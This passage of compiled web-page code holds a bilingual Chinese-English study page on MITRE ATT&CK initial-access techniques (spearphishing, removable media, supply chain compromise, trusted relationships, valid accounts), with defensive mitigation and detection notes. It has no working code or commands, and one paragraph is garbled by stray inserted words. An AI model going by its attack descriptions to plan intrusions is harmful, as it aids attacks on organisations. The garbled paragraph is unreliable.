一个常见的例子是通过社交媒体与目标建立融洽关系,然后将内容发送到目标在其工作计算机上使用的个人网络邮件服务。这允许攻击者绕过对工作帐户的某些电子邮件限制,并且目标更有可能打开文件,因为内容是他们期望的东西。如果有效负载不能按预期工作,则攻击者可以继续正常通信,并与目标进行故障排除,了解如何使其正常工作",-1),Go=e("hr",null,null,-1),jo=e("h4",{id:"缓解措施-6",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-6","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),Jo={href:"https://attack.mitre.org/mitigations/M1049",target:"_blank",rel:"noopener noreferrer"},Qo={href:"https://attack.mitre.org/mitigations/M1049",target:"_blank",rel:"noopener noreferrer"},Yo=e("p",null,"防病毒软件还可以自动隔离可疑文件。",-1),Zo={href:"https://attack.mitre.org/mitigations/M1021",target:"_blank",rel:"noopener noreferrer"},$o={href:"https://attack.mitre.org/mitigations/M1021",target:"_blank",rel:"noopener noreferrer"},en=e("p",null,"确定某些社交媒体网站、个人网络邮件服务或其他可用于鱼叉式网络钓鱼的服务是否是业务运营所必需的,并在无法很好地监控活动或构成重大风险时考虑阻止访问。",-1),tn={href:"https://attack.mitre.org/mitigations/M1017",target:"_blank",rel:"noopener noreferrer"},rn={href:"https://attack.mitre.org/mitigations/M1017",target:"_blank",rel:"noopener noreferrer"},on=e("p",null,"可以训练用户识别社会工程技术和带有恶意链接的鱼叉式网络钓鱼消息。",-1),nn=e("hr",null,null,-1),an=e("h4",{id:"检测-6",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-6","aria-hidden":"true"},"#"),t(" 检测")],-1),sn={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},ln={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},hn={href:"https://attack.mitre.org/datasources/DS0015/#Application%20Log%20Content",target:"_blank",rel:"noopener noreferrer"},cn=e("p",null,"监控第三方应用程序日志记录、消息传递和/或其他可能通过第三方服务发送鱼叉式钓鱼消息以试图访问受害系统的工件。",-1),_n={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},dn={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},pn={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Content",target:"_blank",rel:"noopener noreferrer"},un=e("p",null,"监控和分析与不遵循预期协议标准和流量流的协议相关的流量模式和数据包检查(例如,不属于已建立流量的无关数据包、无偿或异常流量模式、异常语法或结构)。考虑与流程监控和命令行的相关性,以检测与流量模式相关的异常流程执行和命令行参数(例如,监控使用通常不会为相应协议启动连接的文件的异常情况)。",-1),gn={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Flow",target:"_blank",rel:"noopener noreferrer"},fn=e("p",null,"监视网络数据中不常见的数据流。使用通常不具有网络通信或以前从未见过的网络的进程是可疑的。",-1),mn=e("hr",null,null,-1),kn=e("h3",{id:"缓解措施-7",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-7","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),bn={href:"https://attack.mitre.org/mitigations/M1049",target:"_blank",rel:"noopener noreferrer"},Sn={href:"https://attack.mitre.org/mitigations/M1049",target:"_blank",rel:"noopener noreferrer"},Mn=e("p",null,"杀毒软件可以自动隔离可疑文件。",-1),Dn={href:"https://attack.mitre.org/mitigations/M1031",target:"_blank",rel:"noopener noreferrer"},wn={href:"https://attack.mitre.org/mitigations/M1031",target:"_blank",rel:"noopener noreferrer"},vn=e("p",null,"网络入侵防御系统和旨在扫描和删除恶意电子邮件附件或链接的系统可用于阻止活动。",-1),An={href:"https://attack.mitre.org/mitigations/M1021",target:"_blank",rel:"noopener noreferrer"},yn={href:"https://attack.mitre.org/mitigations/M1021",target:"_blank",rel:"noopener noreferrer"},Cn=e("p",null,"确定可用于网络钓鱼的某些网站或附件类型(例如:.scr、.exe、.pif、.cpl 等)是否是业务运营所必需的,如果无法很好地监控活动或构成威胁,则考虑阻止访问重大风险。",-1),Tn={href:"https://attack.mitre.org/mitigations/M1054",target:"_blank",rel:"noopener noreferrer"},xn={href:"https://attack.mitre.org/mitigations/M1054",target:"_blank",rel:"noopener noreferrer"},Ln=e("p",null,"使用反欺骗和电子邮件身份验证机制,根据发件人域的有效性检查(使用 SPF)和邮件的完整性(使用 DKIM)来过滤邮件。在组织内启用这些机制(通过 DMARC 等策略)可能使收件人(组织内和跨域)能够执行类似的消息过滤和验证。",-1),Nn=e("hr",null,null,-1),Pn=e("h3",{id:"检测-7",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-7","aria-hidden":"true"},"#"),t(" 检测")],-1),Fn={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},In={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},En={href:"https://attack.mitre.org/datasources/DS0015/#Application%20Log%20Content",target:"_blank",rel:"noopener noreferrer"},Un=e("p",null,"监控第三方应用程序日志记录、消息传递和/或其他可能发送网络钓鱼消息以获取对受害者系统的访问权限的工件。基于 DKIM+SPF 或标头分析的过滤有助于检测电子邮件发件人何时被欺骗。 电子邮件中的 URL 检查(包括扩展缩短的链接)可以帮助检测指向已知恶意站点的链接。引爆室可用于检测这些链接,并自动转到这些站点以确定它们是否具有潜在恶意,或者在用户访问该链接时等待并捕获内容。",-1),Wn={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},qn={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},Bn={href:"https://attack.mitre.org/datasources/DS0022/#File%20Creation",target:"_blank",rel:"noopener noreferrer"},Rn=e("p",null,"监视网络钓鱼消息中新建的文件以获取对受害系统的访问权限。",-1),Vn={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},Hn={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},On={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Content",target:"_blank",rel:"noopener noreferrer"},Kn=e("p",null,"监控和分析与不遵循预期协议标准和流量的协议相关的 SSL/TLS 流量模式和数据包检查(例如,不属于已建立流量的无关数据包、无故或异常流量模式、异常语法或结构)。考虑与流程监控和命令行的相关性,以检测与流量模式相关的异常流程执行和命令行参数(例如,监控使用通常不会为相应协议启动连接的文件的异常情况)。基于 DKIM+SPF 或标头分析的过滤有助于检测电子邮件发件人何时被欺骗。",-1),Xn={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Flow",target:"_blank",rel:"noopener noreferrer"},zn=e("p",null,"监视网络数据中不常见的数据流。使用通常不具有网络通信或以前从未见过的网络的进程是可疑的。",-1),Gn=e("hr",null,null,-1),jn={id:"t1091-replication-through-removable-media-通过移动介质复制",tabindex:"-1"},Jn=e("a",{class:"header-anchor",href:"#t1091-replication-through-removable-media-通过移动介质复制","aria-hidden":"true"},"#",-1),Qn={href:"https://attack.mitre.org/techniques/T1091",target:"_blank",rel:"noopener noreferrer"},Yn={href:"https://attack.mitre.org/techniques/T1091",target:"_blank",rel:"noopener noreferrer"},Zn=e("p",null,"Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.",-1),$n=e("p",null,"通过将恶意软件复制到可移动媒体并在媒体插入系统并执行时利用自动运行功能,攻击者可能会进入系统,可能是那些在断开连接或气隙网络上的系统。在横向移动的情况下,这可能通过修改存储在可移动媒体上的可执行文件或通过复制恶意软件并将其重命名为看起来像合法文件来诱骗用户在单独的系统上执行它来发生。在初始访问的情况下,这可能通过手动操作媒体、修改用于初始格式化媒体的系统或修改媒体固件本身来实现。",-1),ea=e("p",null,"air-gapped networks是指一种网络安全措施,用于确保一个安全的计算机网络与不安全的网络,如公共互联网或不安全的局域网,物理隔离。这意味着一个计算机或网络没有任何网络接口控制器连接到其他网络,有一个物理或概念上的空气隔离,类似于水暖中用于保持水质的空气隔离。这种方式可以提供最大程度的网络保护,防止外部攻击。要在外部世界和空气隔离的系统之间传输数据,需要将数据写入物理介质,如可移动磁盘或USB闪存驱动器,并在计算机之间物理移动它。",-1),ta={href:"https://en.wikipedia.org/wiki/Air_gap_(networking)",target:"_blank",rel:"noopener noreferrer"},ra={href:"https://www.makeuseof.com/what-is-an-air-gapped-network/",target:"_blank",rel:"noopener noreferrer"},oa={href:"https://www.sentinelone.com/blog/air-gapped-networks-a-false-sense-of-security/",target:"_blank",rel:"noopener noreferrer"},na=e("hr",null,null,-1),aa=e("h3",{id:"缓解措施-8",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-8","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),sa={href:"https://attack.mitre.org/mitigations/M1040",target:"_blank",rel:"noopener noreferrer"},ia={href:"https://attack.mitre.org/mitigations/M1040",target:"_blank",rel:"noopener noreferrer"},la=e("p",null,[t("在 Windows 10 上,启用攻击面减少 (ASR) 规则以阻止未签名/不受信任的可执行文件(例如 "),e("code",null,".exe"),t("、"),e("code",null,".dll"),t(" 或 "),e("code",null,".scr"),t(")从 USB 可移动驱动器运行。")],-1),ha={href:"https://attack.mitre.org/mitigations/M1042",target:"_blank",rel:"noopener noreferrer"},ca={href:"https://attack.mitre.org/mitigations/M1042",target:"_blank",rel:"noopener noreferrer"},_a=e("p",null,"如果不需要,请禁用自动运行",-1),da=e("p",null,"如果业务运营不需要,则在组织策略级别禁止或限制可移动媒体。",-1),pa={href:"https://attack.mitre.org/mitigations/M1034",target:"_blank",rel:"noopener noreferrer"},ua={href:"https://attack.mitre.org/mitigations/M1034",target:"_blank",rel:"noopener noreferrer"},ga=e("p",null,"限制在网络中使用 USB 设备和可移动媒体。",-1),fa=e("hr",null,null,-1),ma=e("h3",{id:"检测-8",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-8","aria-hidden":"true"},"#"),t(" 检测")],-1),ka={href:"https://attack.mitre.org/datasources/DS0016",target:"_blank",rel:"noopener noreferrer"},ba={href:"https://attack.mitre.org/datasources/DS0016",target:"_blank",rel:"noopener noreferrer"},Sa={href:"https://attack.mitre.org/datasources/DS0016/#Drive%20Creation",target:"_blank",rel:"noopener noreferrer"},Ma=e("p",null,"监视新构建的驱动器号或可移动媒体的安装点",-1),Da={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},wa={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},va={href:"https://attack.mitre.org/datasources/DS0022/#File%20Access",target:"_blank",rel:"noopener noreferrer"},Aa=e("p",null,"监视在可移动媒体上访问的意外文件。",-1),ya={href:"https://attack.mitre.org/datasources/DS0022/#File%20Creation",target:"_blank",rel:"noopener noreferrer"},Ca=e("p",null,"监视可移动媒体上新建的文件",-1),Ta={href:"https://attack.mitre.org/datasources/DS0009",target:"_blank",rel:"noopener noreferrer"},xa={href:"https://attack.mitre.org/datasources/DS0009",target:"_blank",rel:"noopener noreferrer"},La={href:"https://attack.mitre.org/datasources/DS0009/#Process%20Creation",target:"_blank",rel:"noopener noreferrer"},Na=e("p",null,"监视在可移动媒体安装后或由用户启动时从可移动媒体执行的新执行进程。如果以这种方式使用远程访问工具进行横向移动,那么执行后很可能会发生额外的动作,例如打开网络连接以进行命令和控制以及系统和网络信息发现。",-1),Pa=e("hr",null,null,-1),Fa={id:"t1195-supply-chain-compromise-供应链渗透",tabindex:"-1"},Ia=e("a",{class:"header-anchor",href:"#t1195-supply-chain-compromise-供应链渗透","aria-hidden":"true"},"#",-1),Ea={href:"https://attack.mitre.org/techniques/T1195",target:"_blank",rel:"noopener noreferrer"},Ua={href:"https://attack.mitre.org/techniques/T1195",target:"_blank",rel:"noopener noreferrer"},Wa=e("p",null,"Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.",-1),qa=e("p",null,"攻击者可能会在最终消费者收到产品或产品交付机制之前操纵产品或产品交付机制,以达到破坏数据或系统的目的。",-1),Ba=e("hr",null,null,-1),Ra=e("h3",{id:"t1195-001-compromise-software-dependencies-and-development-tools-破坏软件依赖和开发工具",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#t1195-001-compromise-software-dependencies-and-development-tools-破坏软件依赖和开发工具","aria-hidden":"true"},"#"),t(" T1195.001 Compromise Software Dependencies and Development Tools 破坏软件依赖和开发工具")],-1),Va=e("p",null,"Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.",-1),Ha=e("p",null,"攻击者可能会在最终消费者收到之前操纵软件依赖项和开发工具,以达到破坏数据或系统的目的。应用程序通常依赖于外部软件才能正常运行。在许多应用程序中用作依赖项的流行开源项目可能会成为向依赖项用户添加恶意代码的手段。",-1),Oa=e("hr",null,null,-1),Ka=e("code",null,"栗子",-1),Xa={href:"https://attack.mitre.org/software/S0658",target:"_blank",rel:"noopener noreferrer"},za={href:"https://attack.mitre.org/software/S0658",target:"_blank",rel:"noopener noreferrer"},Ga=e("p",null,[t("XCSSET 通过枚举 "),e("code",null,"/Library/Ruby/Gems"),t(" 文件夹下的 CocoaPods "),e("code",null,"target_integrator.rb"),t(" 文件或枚举给定目录下的所有 "),e("code",null,".xcodeproj"),t(" 文件夹,将恶意代码添加到主机的 Xcode 项目中。 XCSSET 然后将脚本和 Mach-O 文件下载到 Xcode 项目文件夹中。")],-1),ja=e("blockquote",null,[e("p",null,"XCSSET 是一个针对 Xcode 应用程序开发人员的 macOS 模块化后门。 XCSSET 于 2020 年 8 月首次被发现,已被用于安装后门组件、修改浏览器应用程序、进行收集并提供类似勒索软件的加密功能。")],-1),Ja=e("hr",null,null,-1),Qa=e("h4",{id:"缓解措施-9",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-9","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),Ya={href:"https://attack.mitre.org/mitigations/M1051",target:"_blank",rel:"noopener noreferrer"},Za={href:"https://attack.mitre.org/mitigations/M1051",target:"_blank",rel:"noopener noreferrer"},$a={href:"https://attack.mitre.org/mitigations/M1016",target:"_blank",rel:"noopener noreferrer"},es={href:"https://attack.mitre.org/mitigations/M1016",target:"_blank",rel:"noopener noreferrer"},ts=e("p",null,"还应实施对漏洞来源的持续监控以及自动和手动代码审查工具的使用。",-1),rs=e("hr",null,null,-1),os=e("h4",{id:"检测-9",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-9","aria-hidden":"true"},"#"),t(" 检测")],-1),ns={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},as={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},ss={href:"https://attack.mitre.org/datasources/DS0022/#File%20Metadata",target:"_blank",rel:"noopener noreferrer"},is=e("p",null,"通过散列检查或其他完整性检查机制使用分布式二进制文件的验证。扫描下载的恶意签名并尝试在部署之前测试软件和更新,同时注意潜在的可疑活动。",-1),ls=e("hr",null,null,-1),hs={id:"t1195-002-compromise-software-supply-chain-渗透软件供应链",tabindex:"-1"},cs=e("a",{class:"header-anchor",href:"#t1195-002-compromise-software-supply-chain-渗透软件供应链","aria-hidden":"true"},"#",-1),_s={href:"https://attack.mitre.org/techniques/T1195/002",target:"_blank",rel:"noopener noreferrer"},ds=e("p",null,"Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.",-1),ps=e("p",null,"攻击者可能会在最终消费者收到应用软件之前操纵应用软件,以达到破坏数据或系统的目的。软件的供应链妥协可以通过多种方式发生,包括操纵应用程序源代码、操纵该软件的更新/分发机制,或者用修改后的版本替换编译版本。",-1),us=e("hr",null,null,-1),gs=e("p",null,[e("code",null,"栗子"),t(":")],-1),fs={href:"https://attack.mitre.org/software/S0222",target:"_blank",rel:"noopener noreferrer"},ms={href:"https://attack.mitre.org/software/S0222",target:"_blank",rel:"noopener noreferrer"},ks=e("p",null,"CCBkdr 已添加到 CCleaner 软件的合法签名版本 5.33 中,并在 CCleaner 的分发站点上分发。",-1),bs=e("blockquote",null,[e("p",null,"CCBkdr 是注入到 CCleaner 签名版本中并从 CCleaner 的分发网站分发的恶意软件。")],-1),Ss=e("hr",null,null,-1),Ms=e("h4",{id:"缓解措施-10",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-10","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),Ds={href:"https://attack.mitre.org/mitigations/M1051",target:"_blank",rel:"noopener noreferrer"},ws={href:"https://attack.mitre.org/mitigations/M1051",target:"_blank",rel:"noopener noreferrer"},vs=e("p",null,"应实施补丁管理流程以检查未使用的应用程序、未维护和/或以前易受攻击的软件、不必要的功能、组件、文件和文档。",-1),As={href:"https://attack.mitre.org/mitigations/M1016",target:"_blank",rel:"noopener noreferrer"},ys={href:"https://attack.mitre.org/mitigations/M1016",target:"_blank",rel:"noopener noreferrer"},Cs=e("p",null,"还应实施对漏洞来源的持续监控以及自动和手动代码审查工具的使用。",-1),Ts=e("hr",null,null,-1),xs=e("h4",{id:"检测-10",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-10","aria-hidden":"true"},"#"),t(" 检测")],-1),Ls={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},Ns={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},Ps={href:"https://attack.mitre.org/datasources/DS0022/#File%20Metadata",target:"_blank",rel:"noopener noreferrer"},Fs=e("p",null,"通过散列检查或其他完整性检查机制使用分布式二进制文件的验证。扫描下载的恶意签名并尝试在部署之前测试软件和更新,同时注意潜在的可疑活动。",-1),Is=e("hr",null,null,-1),Es={id:"t1195-003-compromise-hardware-supply-chain-渗透硬件供应链",tabindex:"-1"},Us=e("a",{class:"header-anchor",href:"#t1195-003-compromise-hardware-supply-chain-渗透硬件供应链","aria-hidden":"true"},"#",-1),Ws={href:"https://attack.mitre.org/techniques/T1195/003",target:"_blank",rel:"noopener noreferrer"},qs=e("p",null,"Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.",-1),Bs=e("p",null,"攻击者可能会在最终消费者收到产品之前操纵产品中的硬件组件,以达到破坏数据或系统的目的。通过修改供应链中的硬件或固件,攻击者可以在消费者网络中插入后门,这可能难以检测,并使攻击者对系统具有高度控制权。硬件后门可以插入各种设备,例如服务器、工作站、网络基础设施或外围设备。",-1),Rs=e("hr",null,null,-1),Vs=e("h4",{id:"缓解措施-11",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-11","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),Hs={href:"https://attack.mitre.org/mitigations/M1046",target:"_blank",rel:"noopener noreferrer"},Os={href:"https://attack.mitre.org/mitigations/M1046",target:"_blank",rel:"noopener noreferrer"},Ks=e("p",null,"使用可信平台模块技术和安全或可信的启动过程来防止系统完整性受到损害。检查现有 BIOS 或 EFI 的完整性以确定它是否易受修改。",-1),Xs=e("hr",null,null,-1),zs=e("h4",{id:"检测-11",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-11","aria-hidden":"true"},"#"),t(" 检测")],-1),Gs={href:"https://attack.mitre.org/datasources/DS0013",target:"_blank",rel:"noopener noreferrer"},js={href:"https://attack.mitre.org/datasources/DS0013",target:"_blank",rel:"noopener noreferrer"},Js={href:"https://attack.mitre.org/datasources/DS0013/#Host%20Status",target:"_blank",rel:"noopener noreferrer"},Qs=e("p",null,"对硬件进行物理检查以查找潜在的篡改。对可以出于恶意目的操纵的预操作系统启动机制执行完整性检查,并与已知的良好基线行为进行比较。",-1),Ys=e("hr",null,null,-1),Zs=e("h3",{id:"缓解措施-12",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-12","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),$s={href:"https://attack.mitre.org/mitigations/M1051",target:"_blank",rel:"noopener noreferrer"},ei={href:"https://attack.mitre.org/mitigations/M1051",target:"_blank",rel:"noopener noreferrer"},ti=e("p",null,"应该实施补丁管理流程来检查未使用的依赖项、未维护和/或以前易受攻击的依赖项、不必要的功能、组件、文件和文档。",-1),ri={href:"https://attack.mitre.org/mitigations/M1016",target:"_blank",rel:"noopener noreferrer"},oi={href:"https://attack.mitre.org/mitigations/M1016",target:"_blank",rel:"noopener noreferrer"},ni=e("p",null,"还应实施对漏洞来源的持续监控以及自动和手动代码审查工具的使用。",-1),ai=e("hr",null,null,-1),si=e("h3",{id:"检测-12",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-12","aria-hidden":"true"},"#"),t(" 检测")],-1),ii={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},li={href:"https://attack.mitre.org/datasources/DS0022",target:"_blank",rel:"noopener noreferrer"},hi={href:"https://attack.mitre.org/datasources/DS0022/#File%20Metadata",target:"_blank",rel:"noopener noreferrer"},ci=e("p",null,"通过散列检查或其他完整性检查机制使用分布式二进制文件的验证。扫描下载的恶意签名并尝试在部署之前测试软件和更新,同时注意潜在的可疑活动。",-1),_i={href:"https://attack.mitre.org/datasources/DS0013",target:"_blank",rel:"noopener noreferrer"},di={href:"https://attack.mitre.org/datasources/DS0013",target:"_blank",rel:"noopener noreferrer"},pi={href:"https://attack.mitre.org/datasources/DS0013/#Host%20Status",target:"_blank",rel:"noopener noreferrer"},ui=e("p",null,"对硬件进行物理检查以查找潜在的篡改。对可以出于恶意目的操纵的预操作系统启动机制执行完整性检查,并与已知的良好基线行为进行比较。",-1),gi=e("hr",null,null,-1),fi={id:"t1199-trusted-relationship-利用可靠关系",tabindex:"-1"},mi=e("a",{class:"header-anchor",href:"#t1199-trusted-relationship-利用可靠关系","aria-hidden":"true"},"#",-1),ki={href:"https://attack.mitre.org/techniques/T1199",target:"_blank",rel:"noopener noreferrer"},bi=e("p",null,"Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.",-1),Si=e("p",null,"攻击者可能会破坏或以其他方式利用有权接触目标受害者的组织。通过受信任的第三方关系进行访问会滥用现有连接,该连接可能不受保护或受到的审查少于获得网络访问权限的标准机制。",-1),Mi=e("p",null,"组织经常授予第二或第三方外部提供者更高的访问权限,以便允许他们管攻击者理内部系统。这些关系的一些例子包括攻击者IT攻击者服务承包商、托管安全供应攻击者商、基础设施承包商(例如攻击者HVAC、电梯、物理安全)。第三方提供者的访攻击者问可能仅限于正在维护的基础设施,但可能与企业的其他部分存在于同一攻击者网络上。因此,另一方用于访问内部网络系统的有效帐户可能被破坏和使攻击者用",-1),Di=e("hr",null,null,-1),wi=e("h3",{id:"缓解措施-13",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-13","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),vi={href:"https://attack.mitre.org/mitigations/M1032",target:"_blank",rel:"noopener noreferrer"},Ai={href:"https://attack.mitre.org/mitigations/M1032",target:"_blank",rel:"noopener noreferrer"},yi=e("p",null,"要求对所有委派的管理员帐户进行 MFA",-1),Ci={href:"https://attack.mitre.org/mitigations/M1030",target:"_blank",rel:"noopener noreferrer"},Ti={href:"https://attack.mitre.org/mitigations/M1030",target:"_blank",rel:"noopener noreferrer"},xi=e("p",null,"网络分段可用于隔离不需要广泛网络访问的基础设施组件。",-1),Li={href:"https://attack.mitre.org/mitigations/M1018",target:"_blank",rel:"noopener noreferrer"},Ni={href:"https://attack.mitre.org/mitigations/M1018",target:"_blank",rel:"noopener noreferrer"},Pi=e("p",null,"妥善管理信任关系中各方使用的帐户和权限,以最大程度地减少该方的潜在滥用行为以及该方被对手破坏的情况。在 Office 365 环境中,可以在“合作伙伴关系”页面下查看合作伙伴关系和角色。",-1),Fi=e("hr",null,null,-1),Ii=e("h3",{id:"检测-13",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-13","aria-hidden":"true"},"#"),t(" 检测")],-1),Ei={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},Ui={href:"https://attack.mitre.org/datasources/DS0015",target:"_blank",rel:"noopener noreferrer"},Wi={href:"https://attack.mitre.org/datasources/DS0015/#Application%20Log%20Content",target:"_blank",rel:"noopener noreferrer"},qi=e("p",null,"配置管理数据库 (CMDB) 和其他资产管理系统可能有助于检测网络上不应存在的计算机系统或网络设备。监控任何委派管理员帐户采取的意外操作的日志",-1),Bi={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},Ri={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},Vi={href:"https://attack.mitre.org/datasources/DS0028/#Logon%20Session%20Creation",target:"_blank",rel:"noopener noreferrer"},Hi=e("p",null,"监控可能破坏或以其他方式利用有权访问目标受害者的组织的新构建的登录行为。",-1),Oi={href:"https://attack.mitre.org/datasources/DS0028/#Logon%20Session%20Metadata",target:"_blank",rel:"noopener noreferrer"},Ki=e("p",null,"将其他安全系统与登录信息相关联(例如,用户有一个活动的登录会话但尚未进入建筑物或没有 VPN 访问权限)。",-1),Xi={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},zi={href:"https://attack.mitre.org/datasources/DS0029",target:"_blank",rel:"noopener noreferrer"},Gi={href:"https://attack.mitre.org/datasources/DS0029/#Network%20Traffic%20Content",target:"_blank",rel:"noopener noreferrer"},ji=e("p",null,"监控和分析与不遵循预期协议标准和流量的协议相关的流量模式和数据包检查(例如,不属于已建立流量的无关数据包、无偿或异常流量模式、异常语法或结构)受信任的实体。考虑与流程监控和命令行的相关性,以检测与流量模式相关的异常流程执行和命令行参数(例如,监控使用通常不会为相应协议启动连接的文件的异常情况)。",-1),Ji=e("hr",null,null,-1),Qi={id:"t1078-valid-accounts-利用合法账户",tabindex:"-1"},Yi=e("a",{class:"header-anchor",href:"#t1078-valid-accounts-利用合法账户","aria-hidden":"true"},"#",-1),Zi={href:"https://attack.mitre.org/techniques/T1078",target:"_blank",rel:"noopener noreferrer"},$i=e("p",null,"Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.",-1),el=e("p",null,"攻击者可能会获取和滥用现有帐户的凭据,以此作为获得初始访问权限、持久性、特权升级或防御规避的手段。泄露的凭据可用于绕过对网络内系统上各种资源的访问控制,甚至可用于持续访问远程系统和外部可用服务,例如 VPN、Outlook Web Access、网络设备和远程桌面。受损的凭据还可能授予攻击者对特定系统的更高特权或对网络受限区域的访问权限。攻击者可能会选择不将恶意软件或工具与这些凭据提供的合法访问结合使用,从而更难检测到它们的存在。",-1),tl=e("p",null,"攻击者可以使用凭据访问技术窃取特定用户或服务帐户的凭据,或者通过社会工程在其侦察过程中更早地捕获凭据,以获得初始访问权。攻击者可能使用的帐户可以分为三类:默认帐户、本地帐户和域帐户。默认帐户是那些内置到操作系统中的帐户,比如Windows系统上的访客或管理员帐户,或者其他类型的系统、软件或设备上的默认工厂/供应商帐户。本地帐户是由组织为用户、远程支持、服务或单个系统或服务上的管理而配置的帐户。域帐户是由ActiveDirectory域服务管理的,其中访问和权限是跨属于该域的系统和服务配置的。域帐户可以覆盖用户、管理员和服务。受危害的凭据可以用来绕过对网络内系统上各种资源的访问控制,甚至可以用于对远程系统和外部可用服务(如VPNs、OutlookWebaccess和远程桌面)的持久访问。受损害的凭据还可能授予攻击者对特定系统或访问网络的受限区域的更多特权。攻击者可能会选择不使用恶意软件或工具,使用这些证书提供的合法访问权限,从而使检测它们的存在变得更加困难。缺省帐户也不限于客户机上的客户机和管理员,它们还包括为网络设备和计算机应用程序等设备预先设置的帐户,无论这些设备是内部的、开放源码的还是COTS的。预置用户名和密码组合的设备对安装后不更改it的组织构成严重威胁,因为它们很容易成为攻击者的目标。类似地,攻击者也可以利用公开公开的私钥,或偷来的私钥,通过远程服务合法地连接到远程环境帐户访问、凭据和跨系统网络的权限的重叠是值得关注的,因为攻击者可能能够跨帐户和系统进行切换,以达到较高的访问级别",-1),rl=e("hr",null,null,-1),ol={id:"t1078-001-default-accounts-默认账户",tabindex:"-1"},nl=e("a",{class:"header-anchor",href:"#t1078-001-default-accounts-默认账户","aria-hidden":"true"},"#",-1),al={href:"https://attack.mitre.org/techniques/T1078/001",target:"_blank",rel:"noopener noreferrer"},sl=e("p",null,"Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root 